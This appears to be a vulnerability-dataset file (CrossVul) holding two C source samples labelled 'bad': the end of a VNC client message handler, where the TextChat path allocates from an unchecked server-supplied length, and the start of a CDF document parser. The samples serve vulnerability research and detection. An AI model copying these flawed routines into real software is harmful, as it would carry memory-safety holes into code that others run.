{ client->width = rect.r.w; client->height = rect.r.h; client->updateRect.x = client->updateRect.y = 0; client->updateRect.w = client->width; client->updateRect.h = client->height; if (!client->MallocFrameBuffer(client)) return FALSE; SendFramebufferUpdateRequest(client, 0, 0, rect.r.w, rect.r.h, FALSE); rfbClientLog("Got new framebuffer size: %dx%d\n", rect.r.w, rect.r.h); continue; } /* rect.r.w=byte count */ if (rect.encoding == rfbEncodingSupportedMessages) { int loop; if (!ReadFromRFBServer(client, (char *)&client->supportedMessages, sz_rfbSupportedMessages)) return FALSE; /* msgs is two sets of bit flags of supported messages client2server[] and server2client[] */ /* currently ignored by this library */ rfbClientLog("client2server supported messages (bit flags)\n"); for (loop=0;loop<32;loop+=8) rfbClientLog("%02X: %04x %04x %04x %04x - %04x %04x %04x %04x\n", loop, client->supportedMessages.client2server[loop], client->supportedMessages.client2server[loop+1], client->supportedMessages.client2server[loop+2], client->supportedMessages.client2server[loop+3], client->supportedMessages.client2server[loop+4], client->supportedMessages.client2server[loop+5], client->supportedMessages.client2server[loop+6], client->supportedMessages.client2server[loop+7]); rfbClientLog("server2client supported messages (bit flags)\n"); for (loop=0;loop<32;loop+=8) rfbClientLog("%02X: %04x %04x %04x %04x - %04x %04x %04x %04x\n", loop, client->supportedMessages.server2client[loop], client->supportedMessages.server2client[loop+1], client->supportedMessages.server2client[loop+2], client->supportedMessages.server2client[loop+3], client->supportedMessages.server2client[loop+4], client->supportedMessages.server2client[loop+5], client->supportedMessages.server2client[loop+6], client->supportedMessages.server2client[loop+7]); continue; } /* rect.r.w=byte count, rect.r.h=# of encodings */ if (rect.encoding == rfbEncodingSupportedEncodings) { char *buffer; buffer = malloc(rect.r.w); if (!ReadFromRFBServer(client, buffer, rect.r.w)) { free(buffer); return FALSE; } /* buffer now contains rect.r.h # of uint32_t encodings that the server supports */ /* currently ignored by this library */ free(buffer); continue; } /* rect.r.w=byte count */ if (rect.encoding == rfbEncodingServerIdentity) { char *buffer; buffer = malloc(rect.r.w+1); if (!ReadFromRFBServer(client, buffer, rect.r.w)) { free(buffer); return FALSE; } buffer[rect.r.w]=0; /* null terminate, just in case */ rfbClientLog("Connected to Server \"%s\"\n", buffer); free(buffer); continue; } /* rfbEncodingUltraZip is a collection of subrects. x = # of subrects, and h is always 0 */ if (rect.encoding != rfbEncodingUltraZip) { if ((rect.r.x + rect.r.w > client->width) || (rect.r.y + rect.r.h > client->height)) { rfbClientLog("Rect too large: %dx%d at (%d, %d)\n", rect.r.w, rect.r.h, rect.r.x, rect.r.y); return FALSE; } /* UltraVNC with scaling, will send rectangles with a zero W or H * if ((rect.encoding != rfbEncodingTight) && (rect.r.h * rect.r.w == 0)) { rfbClientLog("Zero size rect - ignoring (encoding=%d (0x%08x) %dx, %dy, %dw, %dh)\n", rect.encoding, rect.encoding, rect.r.x, rect.r.y, rect.r.w, rect.r.h); continue; } */ /* If RichCursor encoding is used, we should prevent collisions between framebuffer updates and cursor drawing operations. */ client->SoftCursorLockArea(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h); } switch (rect.encoding) { case rfbEncodingRaw: { int y=rect.r.y, h=rect.r.h; bytesPerLine = rect.r.w * client->format.bitsPerPixel / 8; /* RealVNC 4.x-5.x on OSX can induce bytesPerLine==0, usually during GPU accel. */ /* Regardless of cause, do not divide by zero. */ linesToRead = bytesPerLine ? (RFB_BUFFER_SIZE / bytesPerLine) : 0; while (linesToRead && h > 0) { if (linesToRead > h) linesToRead = h; if (!ReadFromRFBServer(client, client->buffer,bytesPerLine * linesToRead)) return FALSE; client->GotBitmap(client, (uint8_t *)client->buffer, rect.r.x, y, rect.r.w,linesToRead); h -= linesToRead; y += linesToRead; } break; } case rfbEncodingCopyRect: { rfbCopyRect cr; if (!ReadFromRFBServer(client, (char *)&cr, sz_rfbCopyRect)) return FALSE; cr.srcX = rfbClientSwap16IfLE(cr.srcX); cr.srcY = rfbClientSwap16IfLE(cr.srcY); /* If RichCursor encoding is used, we should extend our "cursor lock area" (previously set to destination rectangle) to the source rectangle as well. */ client->SoftCursorLockArea(client, cr.srcX, cr.srcY, rect.r.w, rect.r.h); client->GotCopyRect(client, cr.srcX, cr.srcY, rect.r.w, rect.r.h, rect.r.x, rect.r.y); break; } case rfbEncodingRRE: { switch (client->format.bitsPerPixel) { case 8: if (!HandleRRE8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleRRE16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleRRE32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingCoRRE: { switch (client->format.bitsPerPixel) { case 8: if (!HandleCoRRE8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleCoRRE16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleCoRRE32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingHextile: { switch (client->format.bitsPerPixel) { case 8: if (!HandleHextile8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleHextile16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleHextile32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingUltra: { switch (client->format.bitsPerPixel) { case 8: if (!HandleUltra8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleUltra16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleUltra32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingUltraZip: { switch (client->format.bitsPerPixel) { case 8: if (!HandleUltraZip8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleUltraZip16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleUltraZip32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingTRLE: { switch (client->format.bitsPerPixel) { case 8: if (!HandleTRLE8(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; break; case 16: if (client->si.format.greenMax > 0x1F) { if (!HandleTRLE16(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } else { if (!HandleTRLE15(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } break; case 32: { uint32_t maxColor = (client->format.redMax << client->format.redShift) | (client->format.greenMax << client->format.greenShift) | (client->format.blueMax << client->format.blueShift); if ((client->format.bigEndian && (maxColor & 0xff) == 0) || (!client->format.bigEndian && (maxColor & 0xff000000) == 0)) { if (!HandleTRLE24(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } else if (!client->format.bigEndian && (maxColor & 0xff) == 0) { if (!HandleTRLE24Up(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } else if (client->format.bigEndian && (maxColor & 0xff000000) == 0) { if (!HandleTRLE24Down(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } else if (!HandleTRLE32(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; break; } } break; } #ifdef LIBVNCSERVER_HAVE_LIBZ case rfbEncodingZlib: { switch (client->format.bitsPerPixel) { case 8: if (!HandleZlib8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleZlib16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleZlib32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } #ifdef LIBVNCSERVER_HAVE_LIBJPEG case rfbEncodingTight: { switch (client->format.bitsPerPixel) { case 8: if (!HandleTight8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleTight16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleTight32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } #endif case rfbEncodingZRLE: /* Fail safe for ZYWRLE unsupport VNC server. */ client->appData.qualityLevel = 9; /* fall through */ case rfbEncodingZYWRLE: { switch (client->format.bitsPerPixel) { case 8: if (!HandleZRLE8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (client->si.format.greenMax > 0x1F) { if (!HandleZRLE16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else { if (!HandleZRLE15(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } break; case 32: { uint32_t maxColor=(client->format.redMax<<client->format.redShift)| (client->format.greenMax<<client->format.greenShift)| (client->format.blueMax<<client->format.blueShift); if ((client->format.bigEndian && (maxColor&0xff)==0) || (!client->format.bigEndian && (maxColor&0xff000000)==0)) { if (!HandleZRLE24(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else if (!client->format.bigEndian && (maxColor&0xff)==0) { if (!HandleZRLE24Up(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else if (client->format.bigEndian && (maxColor&0xff000000)==0) { if (!HandleZRLE24Down(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else if (!HandleZRLE32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } } break; } #endif default: { rfbBool handled = FALSE; rfbClientProtocolExtension* e; for(e = rfbClientExtensions; !handled && e; e = e->next) if(e->handleEncoding && e->handleEncoding(client, &rect)) handled = TRUE; if(!handled) { rfbClientLog("Unknown rect encoding %d\n", (int)rect.encoding); return FALSE; } } } /* Now we may discard "soft cursor locks". */ client->SoftCursorUnlockScreen(client); client->GotFrameBufferUpdate(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h); } if (!SendIncrementalFramebufferUpdateRequest(client)) return FALSE; if (client->FinishedFrameBufferUpdate) client->FinishedFrameBufferUpdate(client); break; } case rfbBell: { client->Bell(client); break; } case rfbServerCutText: { char *buffer; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbServerCutTextMsg - 1)) return FALSE; msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); if (msg.sct.length > 1<<20) { rfbClientErr("Ignoring too big cut text length sent by server: %u B > 1 MB\n", (unsigned int)msg.sct.length); return FALSE; } buffer = malloc((uint64_t)msg.sct.length+1); if (!ReadFromRFBServer(client, buffer, msg.sct.length)) { free(buffer); return FALSE; } buffer[msg.sct.length] = 0; if (client->GotXCutText) client->GotXCutText(client, buffer, msg.sct.length); free(buffer); break; } case rfbTextChat: { char *buffer=NULL; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbTextChatMsg- 1)) return FALSE; msg.tc.length = rfbClientSwap32IfLE(msg.sct.length); switch(msg.tc.length) { case rfbTextChatOpen: rfbClientLog("Received TextChat Open\n"); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)rfbTextChatOpen, NULL); break; case rfbTextChatClose: rfbClientLog("Received TextChat Close\n"); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)rfbTextChatClose, NULL); break; case rfbTextChatFinished: rfbClientLog("Received TextChat Finished\n"); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)rfbTextChatFinished, NULL); break; default: buffer=malloc(msg.tc.length+1); if (!ReadFromRFBServer(client, buffer, msg.tc.length)) { free(buffer); return FALSE; } /* Null Terminate <just in case> */ buffer[msg.tc.length]=0; rfbClientLog("Received TextChat \"%s\"\n", buffer); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)msg.tc.length, buffer); free(buffer); break; } break; } case rfbXvp: { if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbXvpMsg -1)) return FALSE; SetClient2Server(client, rfbXvp); /* technically, we only care what we can *send* to the server * but, we set Server2Client Just in case it ever becomes useful */ SetServer2Client(client, rfbXvp); if(client->HandleXvpMsg) client->HandleXvpMsg(client, msg.xvp.version, msg.xvp.code); break; } case rfbResizeFrameBuffer: { if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbResizeFrameBufferMsg -1)) return FALSE; client->width = rfbClientSwap16IfLE(msg.rsfb.framebufferWidth); client->height = rfbClientSwap16IfLE(msg.rsfb.framebufferHeigth); client->updateRect.x = client->updateRect.y = 0; client->updateRect.w = client->width; client->updateRect.h = client->height; if (!client->MallocFrameBuffer(client)) return FALSE; SendFramebufferUpdateRequest(client, 0, 0, client->width, client->height, FALSE); rfbClientLog("Got new framebuffer size: %dx%d\n", client->width, client->height); break; } case rfbPalmVNCReSizeFrameBuffer: { if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbPalmVNCReSizeFrameBufferMsg -1)) return FALSE; client->width = rfbClientSwap16IfLE(msg.prsfb.buffer_w); client->height = rfbClientSwap16IfLE(msg.prsfb.buffer_h); client->updateRect.x = client->updateRect.y = 0; client->updateRect.w = client->width; client->updateRect.h = client->height; if (!client->MallocFrameBuffer(client)) return FALSE; SendFramebufferUpdateRequest(client, 0, 0, client->width, client->height, FALSE); rfbClientLog("Got new framebuffer size: %dx%d\n", client->width, client->height); break; } default: { rfbBool handled = FALSE; rfbClientProtocolExtension* e; for(e = rfbClientExtensions; !handled && e; e = e->next) if(e->handleMessage && e->handleMessage(client, &msg)) handled = TRUE; if(!handled) { char buffer[256]; rfbClientLog("Unknown message type %d from VNC server\n",msg.type); ReadFromRFBServer(client, buffer, 256); return FALSE; } } } return TRUE; } #define GET_PIXEL8(pix, ptr) ((pix) = *(ptr)++) #define GET_PIXEL16(pix, ptr) (((uint8_t*)&(pix))[0] = *(ptr)++, \ ((uint8_t*)&(pix))[1] = *(ptr)++) #define GET_PIXEL32(pix, ptr) (((uint8_t*)&(pix))[0] = *(ptr)++, \ ((uint8_t*)&(pix))[1] = *(ptr)++, \ ((uint8_t*)&(pix))[2] = *(ptr)++, \ ((uint8_t*)&(pix))[3] = *(ptr)++) /* CONCAT2 concatenates its two arguments. CONCAT2E does the same but also expands its arguments if they are macros */ #define CONCAT2(a,b) a##b #define CONCAT2E(a,b) CONCAT2(a,b) #define CONCAT3(a,b,c) a##b##c #define CONCAT3E(a,b,c) CONCAT3(a,b,c) #define BPP 8 #include "rre.c" #include "corre.c" #include "hextile.c" #include "ultra.c" #include "zlib.c" #include "tight.c" #include "trle.c" #include "zrle.c" #undef BPP #define BPP 16 #include "rre.c" #include "corre.c" #include "hextile.c" #include "ultra.c" #include "zlib.c" #include "tight.c" #include "trle.c" #include "zrle.c" #define REALBPP 15 #include "trle.c" #define REALBPP 15 #include "zrle.c" #undef BPP #define BPP 32 #include "rre.c" #include "corre.c" #include "hextile.c" #include "ultra.c" #include "zlib.c" #include "tight.c" #include "trle.c" #include "zrle.c" #define REALBPP 24 #include "trle.c" #define REALBPP 24 #include "zrle.c" #define REALBPP 24 #define UNCOMP 8 #include "trle.c" #define REALBPP 24 #define UNCOMP 8 #include "zrle.c" #define REALBPP 24 #define UNCOMP -8 #include "trle.c" #define REALBPP 24 #define UNCOMP -8 #include "zrle.c" #undef BPP /* * PrintPixelFormat. */ void PrintPixelFormat(rfbPixelFormat *format) { if (format->bitsPerPixel == 1) { rfbClientLog(" Single bit per pixel.\n"); rfbClientLog( " %s significant bit in each byte is leftmost on the screen.\n", (format->bigEndian ? "Most" : "Least")); } else { rfbClientLog(" %d bits per pixel.\n",format->bitsPerPixel); if (format->bitsPerPixel != 8) { rfbClientLog(" %s significant byte first in each pixel.\n", (format->bigEndian ? "Most" : "Least")); } if (format->trueColour) { rfbClientLog(" TRUE colour: max red %d green %d blue %d" ", shift red %d green %d blue %d\n", format->redMax, format->greenMax, format->blueMax, format->redShift, format->greenShift, format->blueShift); } else { rfbClientLog(" Colour map (not true colour).\n"); } } } /* avoid name clashes with LibVNCServer */ #define rfbEncryptBytes rfbClientEncryptBytes #define rfbEncryptBytes2 rfbClientEncryptBytes2 #define rfbDes rfbClientDes #define rfbDesKey rfbClientDesKey #define rfbUseKey rfbClientUseKey #include "vncauth.c" #include "d3des.c"
./CrossVul/dataset_final_sorted/CWE-787/c/bad_521_0
crossvul-cpp_data_bad_1196_0
/*- * Copyright (c) 2008 Christos Zoulas * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ /* * Parse Composite Document Files, the format used in Microsoft Office * document files before they switched to zipped XML. * Info from: http://sc.openoffice.org/compdocfileformat.pdf * * N.B. This is the "Composite Document File" format, and not the * "Compound Document Format", nor the "Channel Definition Format". */ #include "file.h" #ifndef lint FILE_RCSID("@(#)$File: cdf.c,v 1.115 2019/08/23 14:29:14 christos Exp $") #endif #include <assert.h> #ifdef CDF_DEBUG #include <err.h> #endif #include <stdlib.h> #include <unistd.h> #include <string.h> #include <time.h> #include <ctype.h> #include <limits.h> #ifndef EFTYPE #define EFTYPE EINVAL #endif #ifndef SIZE_T_MAX #define SIZE_T_MAX CAST(size_t, ~0ULL) #endif #include "cdf.h" #ifdef CDF_DEBUG #define DPRINTF(a) printf a, fflush(stdout) #else #define DPRINTF(a) #endif static union { char s[4]; uint32_t u; } cdf_bo; #define NEED_SWAP (cdf_bo.u == CAST(uint32_t, 0x01020304)) #define CDF_TOLE8(x) \ (CAST(uint64_t, NEED_SWAP ? _cdf_tole8(x) : CAST(uint64_t, x))) #define CDF_TOLE4(x) \ (CAST(uint32_t, NEED_SWAP ? _cdf_tole4(x) : CAST(uint32_t, x))) #define CDF_TOLE2(x) \ (CAST(uint16_t, NEED_SWAP ? _cdf_tole2(x) : CAST(uint16_t, x))) #define CDF_TOLE(x) (/*CONSTCOND*/sizeof(x) == 2 ? \ CDF_TOLE2(CAST(uint16_t, x)) : \ (/*CONSTCOND*/sizeof(x) == 4 ? \ CDF_TOLE4(CAST(uint32_t, x)) : \ CDF_TOLE8(CAST(uint64_t, x)))) #define CDF_GETUINT32(x, y) cdf_getuint32(x, y) #define CDF_MALLOC(n) cdf_malloc(__FILE__, __LINE__, (n)) #define CDF_REALLOC(p, n) cdf_realloc(__FILE__, __LINE__, (p), (n)) #define CDF_CALLOC(n, u) cdf_calloc(__FILE__, __LINE__, (n), (u)) /*ARGSUSED*/ static void * cdf_malloc(const char *file __attribute__((__unused__)), size_t line __attribute__((__unused__)), size_t n) { DPRINTF(("%s,%" SIZE_T_FORMAT "u: %s %" SIZE_T_FORMAT "u\n", file, line, __func__, n)); return malloc(n); } /*ARGSUSED*/ static void * cdf_realloc(const char *file __attribute__((__unused__)), size_t line __attribute__((__unused__)), void *p, size_t n) { DPRINTF(("%s,%" SIZE_T_FORMAT "u: %s %" SIZE_T_FORMAT "u\n", file, line, __func__, n)); return realloc(p, n); } /*ARGSUSED*/ static void * cdf_calloc(const char *file __attribute__((__unused__)), size_t line __attribute__((__unused__)), size_t n, size_t u) { DPRINTF(("%s,%" SIZE_T_FORMAT "u: %s %" SIZE_T_FORMAT "u %" SIZE_T_FORMAT "u\n", file, line, __func__, n, u)); return calloc(n, u); } /* * swap a short */ static uint16_t _cdf_tole2(uint16_t sv) { uint16_t rv; uint8_t *s = RCAST(uint8_t *, RCAST(void *, &sv)); uint8_t *d = RCAST(uint8_t *, RCAST(void *, &rv)); d[0] = s[1]; d[1] = s[0]; return rv; } /* * swap an int */ static uint32_t _cdf_tole4(uint32_t sv) { uint32_t rv; uint8_t *s = RCAST(uint8_t *, RCAST(void *, &sv)); uint8_t *d = RCAST(uint8_t *, RCAST(void *, &rv)); d[0] = s[3]; d[1] = s[2]; d[2] = s[1]; d[3] = s[0]; return rv; } /* * swap a quad */ static uint64_t _cdf_tole8(uint64_t sv) { uint64_t rv; uint8_t *s = RCAST(uint8_t *, RCAST(void *, &sv)); uint8_t *d = RCAST(uint8_t *, RCAST(void *, &rv)); d[0] = s[7]; d[1] = s[6]; d[2] = s[5]; d[3] = s[4]; d[4] = s[3]; d[5] = s[2]; d[6] = s[1]; d[7] = s[0]; return rv; } /* * grab a uint32_t from a possibly unaligned address, and return it in * the native host order. */ static uint32_t cdf_getuint32(const uint8_t *p, size_t offs) { uint32_t rv; (void)memcpy(&rv, p + offs * sizeof(uint32_t), sizeof(rv)); return CDF_TOLE4(rv); } #define CDF_UNPACK(a) \ (void)memcpy(&(a), &buf[len], sizeof(a)), len += sizeof(a) #define CDF_UNPACKA(a) \ (void)memcpy((a), &buf[len], sizeof(a)), len += sizeof(a) uint16_t cdf_tole2(uint16_t sv) { return CDF_TOLE2(sv); } uint32_t cdf_tole4(uint32_t sv) { return CDF_TOLE4(sv); } uint64_t cdf_tole8(uint64_t sv) { return CDF_TOLE8(sv); } void cdf_swap_header(cdf_header_t *h) { size_t i; h->h_magic = CDF_TOLE8(h->h_magic); h->h_uuid[0] = CDF_TOLE8(h->h_uuid[0]); h->h_uuid[1] = CDF_TOLE8(h->h_uuid[1]); h->h_revision = CDF_TOLE2(h->h_revision); h->h_version = CDF_TOLE2(h->h_version); h->h_byte_order = CDF_TOLE2(h->h_byte_order); h->h_sec_size_p2 = CDF_TOLE2(h->h_sec_size_p2); h->h_short_sec_size_p2 = CDF_TOLE2(h->h_short_sec_size_p2); h->h_num_sectors_in_sat = CDF_TOLE4(h->h_num_sectors_in_sat); h->h_secid_first_directory = CDF_TOLE4(h->h_secid_first_directory); h->h_min_size_standard_stream = CDF_TOLE4(h->h_min_size_standard_stream); h->h_secid_first_sector_in_short_sat = CDF_TOLE4(CAST(uint32_t, h->h_secid_first_sector_in_short_sat)); h->h_num_sectors_in_short_sat = CDF_TOLE4(h->h_num_sectors_in_short_sat); h->h_secid_first_sector_in_master_sat = CDF_TOLE4(CAST(uint32_t, h->h_secid_first_sector_in_master_sat)); h->h_num_sectors_in_master_sat = CDF_TOLE4(h->h_num_sectors_in_master_sat); for (i = 0; i < __arraycount(h->h_master_sat); i++) { h->h_master_sat[i] = CDF_TOLE4(CAST(uint32_t, h->h_master_sat[i])); } } void cdf_unpack_header(cdf_header_t *h, char *buf) { size_t i; size_t len = 0; CDF_UNPACK(h->h_magic); CDF_UNPACKA(h->h_uuid); CDF_UNPACK(h->h_revision); CDF_UNPACK(h->h_version); CDF_UNPACK(h->h_byte_order); CDF_UNPACK(h->h_sec_size_p2); CDF_UNPACK(h->h_short_sec_size_p2); CDF_UNPACKA(h->h_unused0); CDF_UNPACK(h->h_num_sectors_in_sat); CDF_UNPACK(h->h_secid_first_directory); CDF_UNPACKA(h->h_unused1); CDF_UNPACK(h->h_min_size_standard_stream); CDF_UNPACK(h->h_secid_first_sector_in_short_sat); CDF_UNPACK(h->h_num_sectors_in_short_sat); CDF_UNPACK(h->h_secid_first_sector_in_master_sat); CDF_UNPACK(h->h_num_sectors_in_master_sat); for (i = 0; i < __arraycount(h->h_master_sat); i++) CDF_UNPACK(h->h_master_sat[i]); } void cdf_swap_dir(cdf_directory_t *d) { d->d_namelen = CDF_TOLE2(d->d_namelen); d->d_left_child = CDF_TOLE4(CAST(uint32_t, d->d_left_child)); d->d_right_child = CDF_TOLE4(CAST(uint32_t, d->d_right_child)); d->d_storage = CDF_TOLE4(CAST(uint32_t, d->d_storage)); d->d_storage_uuid[0] = CDF_TOLE8(d->d_storage_uuid[0]); d->d_storage_uuid[1] = CDF_TOLE8(d->d_storage_uuid[1]); d->d_flags = CDF_TOLE4(d->d_flags); d->d_created = CDF_TOLE8(CAST(uint64_t, d->d_created)); d->d_modified = CDF_TOLE8(CAST(uint64_t, d->d_modified)); d->d_stream_first_sector = CDF_TOLE4( CAST(uint32_t, d->d_stream_first_sector)); d->d_size = CDF_TOLE4(d->d_size); } void cdf_swap_class(cdf_classid_t *d) { d->cl_dword = CDF_TOLE4(d->cl_dword); d->cl_word[0] = CDF_TOLE2(d->cl_word[0]); d->cl_word[1] = CDF_TOLE2(d->cl_word[1]); } void cdf_unpack_dir(cdf_directory_t *d, char *buf) { size_t len = 0; CDF_UNPACKA(d->d_name); CDF_UNPACK(d->d_namelen); CDF_UNPACK(d->d_type); CDF_UNPACK(d->d_color); CDF_UNPACK(d->d_left_child); CDF_UNPACK(d->d_right_child); CDF_UNPACK(d->d_storage); CDF_UNPACKA(d->d_storage_uuid); CDF_UNPACK(d->d_flags); CDF_UNPACK(d->d_created); CDF_UNPACK(d->d_modified); CDF_UNPACK(d->d_stream_first_sector); CDF_UNPACK(d->d_size); CDF_UNPACK(d->d_unused0); } int cdf_zero_stream(cdf_stream_t *scn) { scn->sst_len = 0; scn->sst_dirlen = 0; scn->sst_ss = 0; free(scn->sst_tab); scn->sst_tab = NULL; return -1; } static size_t cdf_check_stream(const cdf_stream_t *sst, const cdf_header_t *h) { size_t ss = sst->sst_dirlen < h->h_min_size_standard_stream ? CDF_SHORT_SEC_SIZE(h) : CDF_SEC_SIZE(h); assert(ss == sst->sst_ss); return sst->sst_ss; } static int cdf_check_stream_offset(const cdf_stream_t *sst, const cdf_header_t *h, const void *p, size_t tail, int line) { const char *b = RCAST(const char *, sst->sst_tab); const char *e = RCAST(const char *, p) + tail; size_t ss = cdf_check_stream(sst, h); /*LINTED*/(void)&line; if (e >= b && CAST(size_t, e - b) <= ss * sst->sst_len) return 0; DPRINTF(("%d: offset begin %p < end %p || %" SIZE_T_FORMAT "u" " > %" SIZE_T_FORMAT "u [%" SIZE_T_FORMAT "u %" SIZE_T_FORMAT "u]\n", line, b, e, (size_t)(e - b), ss * sst->sst_len, ss, sst->sst_len)); errno = EFTYPE; return -1; } static ssize_t cdf_read(const cdf_info_t *info, off_t off, void *buf, size_t len) { size_t siz = CAST(size_t, off + len); if (CAST(off_t, off + len) != CAST(off_t, siz)) goto out; if (info->i_buf != NULL && info->i_len >= siz) { (void)memcpy(buf, &info->i_buf[off], len); return CAST(ssize_t, len); } if (info->i_fd == -1) goto out; if (pread(info->i_fd, buf, len, off) != CAST(ssize_t, len)) return -1; return CAST(ssize_t, len); out: errno = EINVAL; return -1; } int cdf_read_header(const cdf_info_t *info, cdf_header_t *h) { char buf[512]; (void)memcpy(cdf_bo.s, "\01\02\03\04", 4); if (cdf_read(info, CAST(off_t, 0), buf, sizeof(buf)) == -1) return -1; cdf_unpack_header(h, buf); cdf_swap_header(h); if (h->h_magic != CDF_MAGIC) { DPRINTF(("Bad magic %#" INT64_T_FORMAT "x != %#" INT64_T_FORMAT "x\n", (unsigned long long)h->h_magic, (unsigned long long)CDF_MAGIC)); goto out; } if (h->h_sec_size_p2 > 20) { DPRINTF(("Bad sector size %hu\n", h->h_sec_size_p2)); goto out; } if (h->h_short_sec_size_p2 > 20) { DPRINTF(("Bad short sector size %hu\n", h->h_short_sec_size_p2)); goto out; } return 0; out: errno = EFTYPE; return -1; } ssize_t cdf_read_sector(const cdf_info_t *info, void *buf, size_t offs, size_t len, const cdf_header_t *h, cdf_secid_t id) { size_t ss = CDF_SEC_SIZE(h); size_t pos; if (SIZE_T_MAX / ss < CAST(size_t, id)) return -1; pos = CDF_SEC_POS(h, id); assert(ss == len); return cdf_read(info, CAST(off_t, pos), RCAST(char *, buf) + offs, len); } ssize_t cdf_read_short_sector(const cdf_stream_t *sst, void *buf, size_t offs, size_t len, const cdf_header_t *h, cdf_secid_t id) { size_t ss = CDF_SHORT_SEC_SIZE(h); size_t pos; if (SIZE_T_MAX / ss < CAST(size_t, id)) return -1; pos = CDF_SHORT_SEC_POS(h, id); assert(ss == len); if (pos + len > CDF_SEC_SIZE(h) * sst->sst_len) { DPRINTF(("Out of bounds read %" SIZE_T_FORMAT "u > %" SIZE_T_FORMAT "u\n", pos + len, CDF_SEC_SIZE(h) * sst->sst_len)); goto out; } (void)memcpy(RCAST(char *, buf) + offs, RCAST(const char *, sst->sst_tab) + pos, len); return len; out: errno = EFTYPE; return -1; } /* * Read the sector allocation table. */ int cdf_read_sat(const cdf_info_t *info, cdf_header_t *h, cdf_sat_t *sat) { size_t i, j, k; size_t ss = CDF_SEC_SIZE(h); cdf_secid_t *msa, mid, sec; size_t nsatpersec = (ss / sizeof(mid)) - 1; for (i = 0; i < __arraycount(h->h_master_sat); i++) if (h->h_master_sat[i] == CDF_SECID_FREE) break; #define CDF_SEC_LIMIT (UINT32_MAX / (64 * ss)) if ((nsatpersec > 0 